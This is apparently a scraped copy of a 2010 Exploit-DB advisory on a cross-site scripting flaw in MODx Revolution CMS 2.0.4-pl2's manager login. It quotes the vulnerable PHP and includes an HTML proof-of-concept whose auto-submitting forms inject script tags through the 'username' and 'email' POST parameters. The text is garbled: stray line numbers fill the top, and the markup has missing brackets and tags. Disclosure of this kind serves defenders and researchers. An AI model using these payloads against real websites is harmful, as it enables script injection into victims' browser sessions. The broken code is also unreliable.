MODx REvolution CMS 2.0.4-pl2 – POST injection Cross-Site Scripting

Exploit Database
116 阅读

作者： LiquidWorm

日期： 2010-12-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/15701/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

<!--

Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability

Vendor: MODx, LLC.

Product web page: http://www.modxcms.com

Affected version: 2.0.4-pl2 (public launch 2)

Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely

with custom code and helps you build sites faster and maintain them with ease. With Revolution

you'll leverage the best things to come around since MVC and Active Record.

Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to

the "username" and "email" parameters via POST method in login.php script at the manager

code in a user's browser session.

#############################################################

-------------------------------------------------------------

/var/html/www/manager/controllers/default/security/login.php:

-------------------------------------------------------------

25: /* handle login */

26: if (!empty($_POST['login'])) {

27: $validated = true;

28:

29: $user = $modx->getObject('modUser',array(

30: 'username' => $_POST['username'],

31: ));

...

71: } else if (!empty($_POST['forgotlogin'])) {

72: $c = $modx->newQuery('modUser');

73: $c->select(array('modUser.*','Profile.email','Profile.fullname'));

74: $c->innerJoin('modUserProfile','Profile');

75: $c->where(array(

76: 'Profile.email' => $_POST['email'],

77: ));

-------------------------------------------------------------

Tested on: Fedora 10 (Cambridge)

Apache 2.2.14

PHP 5.2.10

MySQL 5.0.88

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic

liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2010-4982

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4982.php

Vendor Advisory URL: http://bugs.modx.com/issues/2918

05.12.2010

PoC:

-->

<html>

<head>

<title>MODx Revolution CMS Cross-Site Scripting (XSS) Proof Of Concept Script</title>

</head>

<h3><strong>MODx Revolution CMS 2.0.4-pl2 Remote XSS PoC (POST Method)<strong></h3>

</font></center>

function zsl_user()

{

document.forms["modx-login-form"].submit();

}

function zsl_mail()

{

document.forms["modx-fl-form"].submit();

}

</script>

<form

action = "http://example.com/manager/"

id = "modx-login-form"

enctype= "application/x-www-form-urlencoded"

name = "hack"

method = "post"

<input

type = "hidden"

name = "login_context"

value= "mgr"

<input

type = "hidden"

name = "modahsh"

value= ""

<input

type = "hidden"

name = "returnUrl"

value= "/manager/"

<input

type = "text"

id = "modx-login-username"

name = "username"

tabindex = "1"

autocomplete = "on"

class= "x-form-text x-form-field"

value= '"><script>alert("username param XSSed!")</script>'

<input

type = "password"

id = "modx-login-password"

name = "password"

tabindex = "2"

autocomplete = "on"

class= "x-form-text x-form-field"

<input

type = "checkbox"

id = "modx-login-rememberme"

name = "rememberme"

tabindex = "3"

autocomplete = "on"

checked= "checked"

class= "x-form-checkbox x-form-field"

value= "1"

<input

type = "hidden"

name = "login"

value= "1"

</div>

<font color="red"><center><h3>1. Exploit "username" parameter!

<form

action = "http://example.com/manager/"

id = "modx-fl-form"

enctype= "application/x-www-form-urlencoded"

name = "hack"

method = "post"

<input

type = "text"

id = "modx-login-email"

name = "email"

class= "x-form-text x-form-field"

value= '"><script>alert("email param XSSed!")</script>"'

</div>

<font color="red"><center><h3>2. Exploit "email" parameter!

</body>

</html>